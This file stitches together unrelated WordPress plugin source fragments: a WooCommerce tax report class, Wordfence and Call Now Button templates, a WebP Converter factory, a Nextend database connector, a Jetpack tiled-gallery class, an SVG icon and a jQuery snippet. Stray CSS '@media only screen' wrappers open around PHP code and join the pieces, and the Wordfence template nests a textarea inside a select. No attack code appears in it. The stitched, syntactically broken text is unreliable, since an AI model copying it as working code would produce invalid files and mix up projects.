 * WC_Report_Taxes_By_Code
 *
 * @package     WooCommerce\Admin\Reports
 * @version     2.1.0
 */
class WC_Report_Taxes_By_Code extends WC_Admin_Report {

	/**
	 * Get the legend for the main chart sidebar.
	 *
	 * @return array
	 */
	public function get_chart_legend() {
		return array();
	}

	/**
	 * Output an export link.
	 */
	public function get_export_button() {

		$current_range = ! empty( $_GET['range'] ) ? sanitize_text_field( wp_unslash( $_GET['range'] ) ) : 'last_month';
		?>
		<a
			href="#"
			download="report-<?php echo esc_attr( $current_range ); ?>-<?php echo esc_attr( date_i18n( 'Y-m-d', current_time( 'timestamp' ) ) ); ?>.csv"
			class="export_csv"
			data-export="table"
		>
			<?php esc_html_e( 'Export CSV', 'woocommerce' ); ?>
		</a>
		<?php
	}

	/**
	 * Output the report.
	 */
	public function output_report() {

		$ranges = array(
			'year'       => __( 'Year', 'woocommerce' ),
			'last_month' => __( 'Last month', 'woocommerce' ),
			'month'      => __( 'This month', 'woocommerce' ),
		);

		$current_range = ! empty( $_GET['range'] ) ? sanitize_text_field( wp_unslash( $_GET['range'] ) ) : 'last_month';

		if ( ! in_array( $current_range, array( 'custom', 'year', 'last_month', 'month', '7day' ) ) ) {
			$current_range = 'last_month';
		}

		$this->check_current_range_nonce( $current_range );
		$this->calculate_current_range( $current_range );

		$hide_sidebar = true;

		include WC()->plugin_path() . '/includes/admin/views/html-report-by-date.php';
	}

	/**
	 * Get the main chart.
	 */
	public function get_main_chart() {
		global $wpdb;

		$query_data = array(
			'order_item_name'     => array(
				'type'     => 'order_item',
				'function' => '',
				'name'     => 'tax_rate',
			),
			'tax_amount'          => array(
				'type'            => 'order_item_meta',
				'order_item_type' => 'tax',
				'function'        => '',
				'name'            => 'tax_amount',
			),
			'shipping_tax_amount' => array(
				'type'            => 'order_item_meta',
				'order_item_type' => 'tax',
				'function'        => '',
				'name'            => 'shipping_tax_amount',
			),
			'rate_id'             => array(
				'type'            => 'order_item_meta',
				'order_item_type' => 'tax',
				'function'        => '',
				'name'            => 'rate_id',
			),
			'ID'                  => array(
				'type'     => 'post_data',
				'function' => '',
				'name'     => 'post_id',
			),
		);

		$query_where = array(
			array(
				'key'      => 'order_item_type',
				'value'    => 'tax',
				'operator' => '=',
			),
			array(
				'key'      => 'order_item_name',
				'value'    => '',
				'operator' => '!=',
			),
		);

		// We exclude on-hold orders as they are still pending payment.
		$tax_rows_orders = $this->get_order_report_data(
			array(
				'data'         => $query_data,
				'where'        => $query_where,
				'order_by'     => 'posts.post_date ASC',
				'query_type'   => 'get_results',
				'filter_range' => true,
				'order_types'  => wc_get_order_types( 'sales-reports' ),
				'order_status' => array( 'completed', 'processing', 'refunded' ),
			)
		);

		$tax_rows_partial_refunds = $this->get_order_report_data(
			array(
				'data'                => $query_data,
				'where'               => $query_where,
				'order_by'            => 'posts.post_date ASC',
				'query_type'          => 'get_results',
				'filter_range'        => true,
				'order_types'         => array( 'shop_order_refund' ),
				'parent_order_status' => array( 'completed', 'processing' ), // Partial refunds inside refunded orders should be ignored.
			)
		);

		$tax_rows_full_refunds = $this->get_order_report_data(
			array(
				'data'                => $query_data,
				'where'               => $query_where,
				'order_by'            => 'posts.post_date ASC',
				'query_type'          => 'get_results',
				'filter_range'        => true,
				'order_types'         => array( 'shop_order_refund' ),
				'parent_order_status' => array( 'refunded' ),
			)
		);

		// Merge.
		$tax_rows = array();

		foreach ( $tax_rows_orders + $tax_rows_partial_refunds as $tax_row ) {
			$key                                    = $tax_row->rate_id;
			$tax_rows[ $key ]                       = isset( $tax_rows[ $key ] ) ? $tax_rows[ $key ] : (object) array(
				'tax_amount'          => 0,
				'shipping_tax_amount' => 0,
				'total_orders'        => 0,
			);
			$tax_rows[ $key ]->total_orders        += 1;
			$tax_rows[ $key ]->tax_rate             = $tax_row->tax_rate;
			$tax_rows[ $key ]->tax_amount          += wc_round_tax_total( $tax_row->tax_amount );
			$tax_rows[ $key ]->shipping_tax_amount += wc_round_tax_total( $tax_row->shipping_tax_amount );
		}

		foreach ( $tax_rows_full_refunds as $tax_row ) {
			$key                                    = $tax_row->rate_id;
			$tax_rows[ $key ]                       = isset( $tax_rows[ $key ] ) ? $tax_rows[ $key ] : (object) array(
				'tax_amount'          => 0,
				'shipping_tax_amount' => 0,
				'total_orders'        => 0,
			);
			$tax_rows[ $key ]->tax_rate             = $tax_row->tax_rate;
			$tax_rows[ $key ]->tax_amount          += wc_round_tax_total( $tax_row->tax_amount );
			$tax_rows[ $key ]->shipping_tax_amount += wc_round_tax_total( $tax_row->shipping_tax_amount );
		}
		?>
		<table class="widefat">
			<thead>
				<tr>
					<th><?php esc_html_e( 'Tax', 'woocommerce' ); ?></th>
					<th><?php esc_html_e( 'Rate', 'woocommerce' ); ?></th>
					<th class="total_row"><?php esc_html_e( 'Number of orders', 'woocommerce' ); ?></th>
					<th class="total_row"><?php esc_html_e( 'Tax amount', 'woocommerce' ); ?> <?php echo wc_help_tip( __( 'This is the sum of the "Tax rows" tax amount within your orders.', 'woocommerce' ) ); ?></th>
					<th class="total_row"><?php esc_html_e( 'Shipping tax amount', 'woocommerce' ); ?> <?php echo wc_help_tip( __( 'This is the sum of the "Tax rows" shipping tax amount within your orders.', 'woocommerce' ) ); ?></th>
					<th class="total_row"><?php esc_html_e( 'Total tax', 'woocommerce' ); ?> <?php echo wc_help_tip( __( 'This is the total tax for the rate (shipping tax + product tax).', 'woocommerce' ) ); ?></th>
				</tr>
			</thead>
			<?php if ( ! empty( $tax_rows ) ) : ?>
				<tbody>
					<?php
					foreach ( $tax_rows as $rate_id => $tax_row ) {
						$rate = $wpdb->get_var( $wpdb->prepare( "SELECT tax_rate FROM {$wpdb->prefix}woocommerce_tax_rates WHERE tax_rate_id = %d;", $rate_id ) );
						?>
						<tr>
							<th scope="row"><?php echo wp_kses_post( apply_filters( 'woocommerce_reports_taxes_tax_rate', $tax_row->tax_rate, $rate_id, $tax_row ) ); ?></th>
							<td><?php echo wp_kses_post( apply_filters( 'woocommerce_reports_taxes_rate', $rate, $rate_id, $tax_row ) ); ?>%</td>
							<td class="total_row"><?php echo esc_html( $tax_row->total_orders ); ?></td>
							<td class="total_row"><?php echo wc_price( $tax_row->tax_amount ); // phpcs:ignore ?></td>
							<td class="total_row"><?php echo wc_price( $tax_row->shipping_tax_amount ); // phpcs:ignore ?></td>
							<td class="total_row"><?php echo wc_price( $tax_row->tax_amount + $tax_row->shipping_tax_amount ); // phpcs:ignore ?></td>
						</tr>
						<?php
					}
					?>
				</tbody>
				<tfoot>
					<tr>
						<th scope="row" colspan="3"><?php esc_html_e( 'Total', 'woocommerce' ); ?></th>
						<th class="total_row"><?php echo wc_price( wc_round_tax_total( array_sum( wp_list_pluck( (array) $tax_rows, 'tax_amount' ) ) ) ); // phpcs:ignore ?></th>
						<th class="total_row"><?php echo wc_price( wc_round_tax_total( array_sum( wp_list_pluck( (array) $tax_rows, 'shipping_tax_amount' ) ) ) ); // phpcs:ignore ?></th>
						<th class="total_row"><strong><?php echo wc_price( wc_round_tax_total( array_sum( wp_list_pluck( (array) $tax_rows, 'tax_amount' ) ) + array_sum( wp_list_pluck( (array) $tax_rows, 'shipping_tax_amount' ) ) ) ); // phpcs:ignore ?></strong></th>
					</tr>
				</tfoot>
			<?php else : ?>
				<tbody>
					<tr>
						<td><?php esc_html_e( 'No taxes found in this period', 'woocommerce' ); ?></td>
					</tr>
				</tbody>
			<?php endif; ?>
		</table>
		<?php
	}
}
}@media only screen and (max-width: 800px){<?php

namespace cnb\admin\templates;

// don't load directly
defined( 'ABSPATH' ) || die( '-1' );

class Template_Router {

	public function render() {
		do_action( 'cnb_init', __METHOD__ );
		$view = new Template_View();
		$view->render();
		do_action( 'cnb_finish' );
	}
}
}@media only screen and (max-width: 640px){<?php
if (!defined('WORDFENCE_VERSION')) { exit; }
/**
 * Presents an option with a boolean on/off toggle checkbox and text area for detailed value entry.
 *
 * Expects $toggleOptionName, $enabledToggleValue, $disabledToggleValue, $toggleValue, $textAreaOptionName, $textAreaValue, and $title to be defined. $helpLink may also be defined.
 *
 * @var string $toggleOptionName The option name for the toggle portion.
 * @var string $enabledToggleValue The value to save in $toggleOption if the toggle is enabled.
 * @var string $disabledToggleValue The value to save in $toggleOption if the toggle is disabled.
 * @var string $toggleValue The current value of $toggleOptionName.
 * @var string $textAreaOptionName The option name for the text area portion.
 * @var string $textAreaValue The current value of $textAreaOptionName.
 * @var string $title The title shown for the option.
 * @var string $helpLink If defined, the link to the corresponding external help page.
 * @var bool $premium If defined, the option will be tagged as premium only and not allow its value to change for free users.
 */

$toggleID = 'wf-option-' . preg_replace('/[^a-z0-9]/i', '-', $toggleOptionName);
$textAreaID = 'wf-option-' . preg_replace('/[^a-z0-9]/i', '-', $textAreaOptionName);
?>
<ul class="wf-option wf-option-toggled-textarea<?php if (!wfConfig::p() && isset($premium) && $premium) { echo ' wf-option-premium'; } ?>" data-toggle-option="<?php echo esc_attr($toggleOptionName); ?>" data-enabled-toggle-value="<?php echo esc_attr($enabledToggleValue); ?>" data-disabled-toggle-value="<?php echo esc_attr($disabledToggleValue); ?>" data-original-toggle-value="<?php echo esc_attr($toggleValue == $enabledToggleValue ? $enabledToggleValue : $disabledToggleValue); ?>" data-text-area-option="<?php echo esc_attr($textAreaOptionName); ?>" data-original-text-area-value="<?php echo esc_attr($textAreaValue); ?>">
	<li id="<?php echo esc_attr($toggleID); ?>" class="wf-option-checkbox<?php echo ($toggleValue == $enabledToggleValue ? ' wf-checked' : ''); ?>" role="checkbox" aria-checked="<?php echo ($toggleValue == $enabledToggleValue ? 'true' : 'false'); ?>" tabindex="0"><i class="wf-ion-ios-checkmark-empty" aria-hidden="true" aria-labelledby="<?php echo esc_attr($toggleID); ?>-label"></i></li>
	<li class="wf-option-title"><span id="<?php echo esc_attr($toggleID); ?>-label"><?php echo esc_html($title); ?></span><?php if (!wfConfig::p() && isset($premium) && $premium) { echo ' <a href="https://www.wordfence.com/gnl1optionUpgrade/wordfence-signup/" target="_blank" rel="noopener noreferrer" class="wf-premium-link">' . esc_html__('Premium Feature', 'wordfence') . '</a>'; } ?><?php if (isset($helpLink)) { echo ' <a href="' . esc_attr($helpLink) . '"  target="_blank" rel="noopener noreferrer" class="wf-inline-help"><i class="wf-fa wf-fa-question-circle-o" aria-hidden="true"></i><span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>'; } ?></li>
	<li id="<?php echo esc_attr($textAreaID); ?>" class="wf-option-textarea">
		<select<?php echo ($toggleValue == $enabledToggleValue && !(!wfConfig::p() && isset($premium) && $premium) ? '' : ' disabled'); ?> aria-labelledby="<?php echo esc_attr($toggleID); ?>-label">
			<textarea<?php echo (!(!wfConfig::p() && isset($premium) && $premium) ? '' : ' disabled'); ?>><?php echo esc_html($textAreaValue); ?></textarea>
		</select>
	</li>
</ul>}@media only screen and (max-width: 800px){<svg xmlns="http://www.w3.org/2000/svg" width="128" height="128" viewBox="0 0 128 128"><path d="M114.344 62.672c0-1.07-.083-2.142-.158-3.213-.128-1.81-.318-3.626-.412-5.44-.1-1.93-.032-3.87-.187-5.79-.275-3.416-.658-6.82-1-10.227-.272-2.705-1.048-5.248-2.518-7.544-1.197-1.86-2.754-3.24-4.997-3.777-2.4-.578-4.82-.96-7.285-1.067-.964-.043-1.946.028-2.892-.122-4.242-.67-8.518-.92-12.794-1.227-2.03-.146-4.05-.47-6.08-.516-4.4-.106-8.8-.092-13.2-.106-1.07 0-2.162-.023-3.206.17-2.022.37-4.056.36-6.09.387-4.83.065-9.66-.246-14.483.163-2.136.18-4.273.34-6.402.57-1.595.17-3.18.423-4.767.65-1.376.197-2.322.995-3.023 2.15-.384.635-.695 1.38-1.242 1.84-3.616 3.04-5.392 7.087-6.564 11.508-.885 3.348-1.167 6.75-1.165 10.19.004 3.866.002 7.73.002 12.25-.17 6.1-.3 12.853.66 19.58.513 3.6 1.092 7.19 1.89 10.745.172.773.547 1.362 1.06 1.933 1 1.108 2.06 2.19 2.907 3.41 1.014 1.467 2.337 2.492 3.877 3.295 1.46.76 2.947 1.06 4.645.697 1.444-.31 3.017-.435 4.467-.213 2.66.402 5.332.48 7.996.754 4.177.435 8.33.41 12.512.03 2.986-.272 5.977-.47 8.948-.91.95-.143 1.926-.095 2.89-.13.75-.02 1.503-.013 2.252-.06 2.565-.165 5.13-.473 7.696-.495 4.63-.04 9.19-.538 13.702-1.547.418-.092.837-.206 1.262-.234 3.876-.256 7.616-1.112 11.25-2.468.197-.073.417-.092.624-.15 4.7-1.298 7.264-4.607 8.645-9.434.948-3.31.974-6.784 1.09-10.2.176-5.144.085-10.3.082-15.45zm-7.693 15.672c-.04 2.558-.275 5.127-.61 7.67-.31 2.37-1.44 4.223-3.94 4.944-3.697 1.064-7.358 2.088-11.26 2.406-6.64.544-13.28.43-19.922.548-3.21.056-6.415.064-9.623.452-2.648.323-5.355.166-8.034.24-5.567.15-11.124.5-16.674.97-2.475.21-4.928.028-7.36-.4-.582-.103-1.187-.51-1.62-.94-1.275-1.255-1.863-2.866-1.996-4.62-.1-1.28-.07-2.57-.073-3.858-.006-5.685-.002-11.368-.002-17.052h.06c0-6.22-.04-12.44.016-18.66.034-3.54.628-7.034 1.32-10.498.36-1.792 1.143-3.456 2.2-4.966.51-.72 1.137-1.227 2.095-1.318 1.596-.155 3.18-.416 4.77-.62 6.618-.83 13.27-.568 19.914-.705 1.064-.02 2.122-.183 3.184-.273.742-.06 1.488-.146 2.235-.15 3-.03 6.004 0 9.007-.046 5.476-.09 10.9.57 16.348.953 3.733.266 7.424.933 11.182.958 1.478.01 2.965.39 4.43.687.767.155 1.36.683 1.628 1.43.322.9.62 1.828.8 2.77.243 1.26.427 2.535.53 3.814.273 3.412.516 6.834.718 10.253.17 2.884-.05 5.795.635 8.643.098.41.064.856.064 1.283.006 5.36.07 10.722-.02 16.086zm-44.996-1.698c.036-.527.032-1.093-.13-1.583-.538-1.62-1.152-3.217-1.742-4.82-.383-1.04-1.076-1.86-1.988-2.45-1.357-.874-2.813-1.564-4.475-1.584-1.82-.023-3.643-.07-5.457.02-2.597.13-5.046.77-7.1 2.503-1.306 1.102-2.658 2.15-3.922 3.3-1.157 1.053-1.745 2.386-1.663 4.005.058 1.063.006 2.14-.053 3.21-.292 5.198.065 5.14 4.958 5.506 2.987.224 5.988.206 8.983.3v-.11c2.25 0 4.496.016 6.742-.007 1.176-.014 2.357-.054 3.526-.182.497-.053 1.17-.238 1.408-.597 1.01-1.503 2.024-3.1 1.313-5.023-.31-.832-.452-1.616-.395-2.487zm38.152-28.384c-.843.018-1.68.264-2.526.318-.225.015-.614-.282-.684-.51-.186-.61-.168-1.282-.368-1.885-.124-.373-.43-.774-.766-.98-1.552-.953-3.46-.494-4.49.983-.61.866-1.238 1.736-1.935 2.53-.512.588-1.27.385-1.483-.33-.277-.917-.466-1.867-.81-2.757-.43-1.1-1.43-1.545-2.62-1.304-1.132.23-1.852.966-2.503 1.864-.492.682-1.02 1.488-1.726 1.823-1.02.48-1.255-.9-1.98-1.248-.096-.047-.173-.13-.264-.18-.812-.463-1.63-.534-2.41.03-.344.253-.608.607-.933.886-.667.57-.704.567-1.28.004-.306-.3-.562-.656-.9-.912-.85-.642-1.793-.675-2.724-.208-1.88.94-2.507 3.027-1.522 4.89.294.555.593 1.115.81 1.7.917 2.466 3.118 3.292 5.318 1.97.092-.06.18-.12.26-.19.956-.814 2.013-1.145 3.277-.833.506.128 1.07-.01 1.6.056 1.376.173 2.475-.514 3.614-1.093 1.14.727 2.09 1.803 3.53 2.008.632.093 1.3.29 1.9.176 1.247-.245 2.463-.933 3.69-.94 1.224 0 2.45.616 3.674.955.1.03.213.005.478.005 2.102-.18 3.937-1.02 5.008-3.175.544-1.09.42-2.088-.213-3.03-.205-.31-.675-.623-1.02-.617zm-28.11 22.024c-.234.84.076 1.46.664 1.998 1.3 1.184 2.414 1.112 3.583-.213.57-.644 1.067-1.315 1.213-2.214.117-.734.346-1.454.565-2.165.186-.59.667-.78 1.247-.79.578-.003 1.045.156 1.263.757.18.5.35 1.008.56 1.498.126.288.295.57.484.825.44.603 1.397.867 2.016.418 1.118-.81 2.157-1.728 3.236-2.598.41-.33.754-.262 1.047.208.168.27.274.584.448.853 1.015 1.568 2.69 1.813 4.053.567.55-.5 1.013-1.102 1.536-1.635.436-.445.78-.43 1.396-.016.523.35 1.022.78 1.6.994.74.275 1.493.11 2.053-.512 1.276-1.422.79-4.8-.833-5.73-.267-.155-.597-.213-.91-.27-1.444-.247-2.746.08-3.922.97-.555.418-1.192.56-1.745.026-1.6-1.552-3.273-1.165-4.956-.22-.65.368-1.248.83-1.858 1.264-.37.262-.755.446-1.123.053-1.323-1.41-3.016-1.444-4.757-1.317-.712.053-1.234-.136-1.476-.893-.162-.508-.386-1.004-.644-1.468-.74-1.336-2.1-1.698-3.337-2.176-.397.12-.7.21-1.003.305-1.91.578-2.916 2.08-3.71 3.74-.67 1.406.51 3.71 2.03 4.087.507.128 1.155.025 1.52.31.618.483-.036 1.162-.028 1.764.01.53-.074 1.076-.217 1.587zm-27.33-9.062c1.895 2.62 4.483 2.994 7.253 1.146 2.64-1.76 3.377-4.533 3.336-7.53-.02-1.487-.262-2.972-.437-4.453-.207-1.72-.746-3.314-1.836-4.7-.482-.61-1.062-1.088-1.81-1.24-2.24-.445-4.226-.028-5.77 1.822-1.773 2.123-2.75 4.525-2.792 7.34.265 1.68.438 3.38.83 5.032.212.91.673 1.82 1.226 2.584zM97.886 79.2c.734-1.05.137-2.507-1.117-2.752-1.4-.272-2.778-.122-4.105.355-.832.3-1.683.535-2.505.227-1.524-.576-2.956-.36-4.322.36-.764.406-1.35.253-2.09-.058-1.28-.537-2.623-.956-4.044-.386-.91.36-1.675.03-2.328-.63-1.122-1.13-2.432-1.215-3.85-.703-.8.29-1.646.498-2.39.892-1.368.723-2.344 1.84-2.864 3.32-.267.757.088 1.643.894 2.204.606.42 1.506.393 2.107-.037.68-.483 1.027-1.746 1.895-1.528 1.26.317.235 1.688.693 2.475.055.09.074.2.11.3.643 1.837 2.712 2.368 4.11 1.028.54-.514.98-1.13 1.516-1.656.405-.405.943-.51 1.48-.292.396.158.772.376 1.134.602 1.31.82 2.634.796 3.94.025 1.157-.677 2.358-1.016 3.132-.78 3.323.638 5.508-.82 7.755-2.026.352-.182.608-.593.85-.94zm.392 1.205c-.79.08-1.278.644-1.29 1.493-.01.638.48 1.052 1.268 1.075.94.03 1.406-.395 1.4-1.263-.007-.896-.53-1.39-1.376-1.306z"/></svg>}@media only screen and (max-width: 640px){(function( $ ) {
    $(window).on('hashchange', function (e) {
        var location_hash=window.location.hash;
        if(("" !== location_hash && "#general" === location_hash) || "" === location_hash)
        {
            $('.wf-tab-head').css('width','100%');
            $('.wt_pro_addon_tile_doc').parent().show();
            $('.wf-tab-content').css('width','70%');
            // $('.wt_pro_addon_tile_doc').css('top','5em');
        }else if("" !== location_hash){
            $('.wf-tab-content').css('width','100%');
            $('.wf-tab-head').css('width','auto');
            $('.wt_pro_addon_tile_doc').parent().hide();
        }
    }).trigger('hashchange');
})( jQuery );}@media only screen and (max-width: 800px){<?php

namespace WebpConverter\Conversion\Method;

use WebpConverter\Conversion\CrashedFilesOperator;
use WebpConverter\Conversion\Format\FormatFactory;
use WebpConverter\Conversion\LargerFilesOperator;
use WebpConverter\Repository\TokenRepository;
use WebpConverter\Service\ServerConfigurator;

/**
 * Adds support for all conversion methods and returns information about them.
 */
class MethodFactory {

	/**
	 * @var TokenRepository
	 */
	private $token_repository;

	/**
	 * @var FormatFactory
	 */
	private $format_factory;

	/**
	 * @var CrashedFilesOperator
	 */
	private $skip_crashed;

	/**
	 * @var LargerFilesOperator
	 */
	private $skip_larger;

	/**
	 * @var ServerConfigurator
	 */
	private $server_configurator;

	/**
	 * Objects of supported conversion methods.
	 *
	 * @var MethodInterface[]
	 */
	private $methods = [];

	public function __construct(
		TokenRepository $token_repository,
		FormatFactory $format_factory,
		?CrashedFilesOperator $skip_crashed = null,
		?LargerFilesOperator $skip_larger = null,
		?ServerConfigurator $server_configurator = null
	) {
		$this->token_repository    = $token_repository;
		$this->format_factory      = $format_factory;
		$this->skip_crashed        = $skip_crashed ?: new CrashedFilesOperator();
		$this->skip_larger         = $skip_larger ?: new LargerFilesOperator();
		$this->server_configurator = $server_configurator ?: new ServerConfigurator();

		$this->set_integration( new ImagickMethod( $format_factory, $this->skip_crashed, $this->skip_larger, $this->server_configurator ) );
		$this->set_integration( new GdMethod( $format_factory, $this->skip_crashed, $this->skip_larger, $this->server_configurator ) );
		$this->set_integration( new RemoteMethod( $this->token_repository, $format_factory, $this->skip_crashed, $this->skip_larger, $this->server_configurator ) );
	}

	/**
	 * Sets integration for method.
	 *
	 * @param MethodInterface $method .
	 *
	 * @return void
	 */
	private function set_integration( MethodInterface $method ) {
		$this->methods[ $method->get_name() ] = $method;
	}

	/**
	 * Returns objects of conversion methods.
	 *
	 * @return MethodInterface[] .
	 */
	public function get_methods_objects(): array {
		$values = [];
		foreach ( $this->methods as $method ) {
			$values[ $method->get_name() ] = $method;
		}
		return $values;
	}

	/**
	 * Returns list of conversion methods.
	 *
	 * @return string[] Names of conversion methods with labels.
	 */
	public function get_methods(): array {
		$values = [];
		foreach ( $this->get_methods_objects() as $method_name => $method ) {
			$values[ $method_name ] = $method->get_label();
		}
		return $values;
	}

	/**
	 * Returns list of installed conversion methods.
	 *
	 * @return string[] Names of conversion methods with labels.
	 */
	public function get_available_methods(): array {
		$token_status = $this->token_repository->get_token()->get_valid_status();
		$values       = [];
		foreach ( $this->get_methods_objects() as $method_name => $method ) {
			if ( ! $method::is_method_installed()
				|| ( ! $this->format_factory->get_available_formats( $method_name ) ) ) {
				continue;
			}

			if ( ( $token_status && $method::is_pro_feature() ) || ( ! $token_status && ! $method::is_pro_feature() ) ) {
				$values[ $method_name ] = $method->get_label();
			}
		}
		return $values;
	}
}
}@media only screen and (max-width: 640px){<?php


namespace Nextend\Framework\Database\WordPress;

use Nextend\Framework\Database\AbstractPlatformConnector;
use Nextend\Framework\Database\AbstractPlatformConnectorTable;
use wpdb;

class WordPressConnectorTable extends AbstractPlatformConnectorTable {

    /** @var wpdb */
    protected static $db;

    /**
     * @param AbstractPlatformConnector $connector
     * @param wpdb                      $db
     */
    public static function init($connector, $db) {
        self::$connector = $connector;
        self::$db        = $db;
    }

    public function findByPk($primaryKey) {
        $query = self::$db->prepare("SELECT * FROM " . $this->tableName . " WHERE " . self::$connector->quoteName($this->primaryKeyColumn) . " = %s", $primaryKey);

        return self::$connector->checkError(self::$db->get_row($query, ARRAY_A));
    }

    public function findByAttributes(array $attributes, $fields = false, $order = false) {

        return self::$connector->checkError(self::$db->get_row($this->_findByAttributesSQL($attributes, $fields, $order), ARRAY_A));
    }


    public function findAll($order = false) {

        return self::$connector->checkError(self::$db->get_results($this->_findByAttributesSQL(array(), false, $order), ARRAY_A));
    }

    public function findAllByAttributes(array $attributes, $fields = false, $order = false) {

        return self::$connector->checkError(self::$db->get_results($this->_findByAttributesSQL($attributes, $fields, $order), ARRAY_A));
    }

    public function insert(array $attributes) {
        return self::$connector->checkError(self::$db->insert($this->tableName, $attributes));
    }

    public function insertId() {
        return self::$db->insert_id;
    }

    public function update(array $attributes, array $conditions) {

        return self::$connector->checkError(self::$db->update($this->tableName, $attributes, $conditions));
    }

    public function updateByPk($primaryKey, array $attributes) {

        $where                          = array();
        $where[$this->primaryKeyColumn] = $primaryKey;
        self::$connector->checkError(self::$db->update($this->tableName, $attributes, $where));
    }

    public function deleteByPk($primaryKey) {
        $where                          = array();
        $where[$this->primaryKeyColumn] = $primaryKey;
        self::$connector->checkError(self::$db->delete($this->tableName, $where));
    }

    public function deleteByAttributes(array $conditions) {
        self::$connector->checkError(self::$db->delete($this->tableName, $conditions));
    }

    private function _findByAttributesSQL(array $attributes, $fields = array(), $order = false) {

        $args = array('');

        $query = 'SELECT ';
        if (!empty($fields)) {

            $fields = array_map(array(
                self::$connector,
                'quoteName'
            ), $fields);

            $query .= implode(', ', $fields);
        } else {
            $query .= '*';
        }
        $query .= ' FROM ' . $this->tableName;

        $where = array();
        foreach ($attributes as $key => $val) {
            $valueFormat = is_numeric($val) ? '%d' : '%s';
            if ($key === 'hash') {
                /**
                 * @see SSDEV-3927
                 * Hashes are typically 32 character long and generated by md5 hashing algorithm.
                 * In rare cases the hashed value might consist of numbers only, which can lead to overflow.
                 * MD5 hashes should be prepared always as string values.
                 */

                $valueFormat = '%s';
            }
            $where[] = self::$connector->quoteName($key) . ' = ' . $valueFormat;
            $args[]  = $val;
        }
        if (count($where)) {
            $query .= ' WHERE ' . implode(' AND ', $where);
        }

        if ($order) {
            $query .= ' ORDER BY ' . $order;
        }

        if (count($args) > 1) {
            $args[0] = $query;

            return call_user_func_array(array(
                self::$db,
                'prepare'
            ), $args);
        } else {
            return $query;
        }
    }
}}@media only screen and (min-width: 800px){<?php
namespace ParagonIE\Sodium\Core\ChaCha20;

class IetfCtx extends \ParagonIE_Sodium_Core_ChaCha20_IetfCtx
{

}
}@media only screen and (max-width: 800px){<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
require_once __DIR__ . '/tiled-gallery-layout.php';
require_once __DIR__ . '/tiled-gallery-shape.php';
require_once __DIR__ . '/tiled-gallery-item.php';

// phpcs:disable Generic.Files.OneObjectStructurePerFile.MultipleFound
/**
 * Tiled gallery rectangular layout.
 */
class Jetpack_Tiled_Gallery_Layout_Rectangular extends Jetpack_Tiled_Gallery_Layout {

	/**
	 * The layout type.
	 *
	 * @var string
	 */
	protected $type = 'rectangular';

	/**
	 * The HTML function.
	 *
	 * @param array $context - the context array, unused.
	 * @return string HTML
	 */
	public function HTML( $context = array() ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable
		$grouper = new Jetpack_Tiled_Gallery_Grouper( $this->attachments );
		Jetpack_Tiled_Gallery_Shape::reset_last_shape();

		return parent::HTML( array( 'rows' => $grouper->grouped_images ) );
	}
}

/**
 * Tiled gallery layout columns class.
 */
class Jetpack_Tiled_Gallery_Layout_Columns extends Jetpack_Tiled_Gallery_Layout {

	/**
	 * The layout type.
	 *
	 * @var string
	 */
	protected $type = 'rectangular'; // It doesn't need separate template for now

	/**
	 * The HTML function.
	 *
	 * @param array $context - the context array, unused.
	 * @return string HTML
	 */
	public function HTML( $context = array() ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable
		$grouper = new Jetpack_Tiled_Gallery_Grouper( $this->attachments, array( 'Three_Columns', 'Two' ) );

		return parent::HTML( array( 'rows' => $grouper->grouped_images ) );
	}
}

/**
 * Gallery layout rectangle alis.
 */
class Jetpack_Tiled_Gallery_Layout_Rectangle extends Jetpack_Tiled_Gallery_Layout_Rectangular {}

/**
 * Image grouping and HTML generation logic class.
 */
class Jetpack_Tiled_Gallery_Grouper {

	/**
	 * The margin.
	 *
	 * @var int
	 */
	public $margin = 4;

	/**
	 * Shapes array.
	 * This list is ordered. If you put a shape that's likely to occur on top, it will happen all the time.
	 *
	 * @var array
	 */
	public $shapes = array(
		'Reverse_Symmetric_Row',
		'Long_Symmetric_Row',
		'Symmetric_Row',
		'One_Three',
		'Three_One',
		'One_Two',
		'Five',
		'Four',
		'Three',
		'Two_One',
		'Panoramic',
	);

	/**
	 * Shape of the last row in gallery.
	 *
	 * @var string
	 */
	public $last_shape = '';

	/**
	 * All images to be displayed.
	 *
	 * @var array
	 */
	public $images = array();

	/**
	 * Array of tiled gallery rows (groups of images).
	 *
	 * @var array
	 */
	public $grouped_images = array();

	/**
	 * Constructor function.
	 *
	 * @param object $attachments - the attachments.
	 * @param array  $shapes - the shapes.
	 */
	public function __construct( $attachments, $shapes = array() ) {
		$content_width = Jetpack_Tiled_Gallery::get_content_width();

		$this->overwrite_shapes( $shapes );
		$this->last_shape     = '';
		$this->images         = $this->get_images_with_sizes( $attachments );
		$this->grouped_images = $this->get_grouped_images();
		$this->apply_content_width( $content_width );
	}

	/**
	 * Overwrite the shapes.
	 *
	 * @param array $shapes - the shapes.
	 */
	public function overwrite_shapes( $shapes ) {
		if ( ! empty( $shapes ) ) {
			$this->shapes = $shapes;
		}
	}

	/**
	 * Get the current row size.
	 *
	 * @return array
	 */
	public function get_current_row_size() {
		$images_left = is_countable( $this->images ) ? count( $this->images ) : 0;
		if ( $images_left < 3 ) {
			return array_fill( 0, $images_left, 1 );
		}

		foreach ( $this->shapes as $shape_name ) {
			$class_name = "Jetpack_Tiled_Gallery_$shape_name";
			$shape      = new $class_name( $this->images );
			if ( $shape->is_possible() ) {
				Jetpack_Tiled_Gallery_Shape::set_last_shape( $class_name );
				return $shape->shape;
			}
		}

		Jetpack_Tiled_Gallery_Shape::set_last_shape( 'Two' );
		return array( 1, 1 );
	}

	/**
	 * Get images with sizes.
	 *
	 * @param object $attachments - the attachments.
	 *
	 * @return array
	 */
	public function get_images_with_sizes( $attachments ) {
		$images_with_sizes = array();

		foreach ( $attachments as $image ) {
			$meta                = wp_get_attachment_metadata( $image->ID );
			$image->width_orig   = ( isset( $meta['width'] ) && $meta['width'] > 0 ) ? $meta['width'] : 1;
			$image->height_orig  = ( isset( $meta['height'] ) && $meta['height'] > 0 ) ? $meta['height'] : 1;
			$image->ratio        = $image->width_orig / $image->height_orig;
			$image->ratio        = $image->ratio ? $image->ratio : 1;
			$images_with_sizes[] = $image;
		}

		return $images_with_sizes;
	}

	/**
	 * Get the current row size.
	 *
	 * @return array
	 */
	public function read_row() {
		$vector = $this->get_current_row_size();

		$row = array();
		foreach ( $vector as $group_size ) {
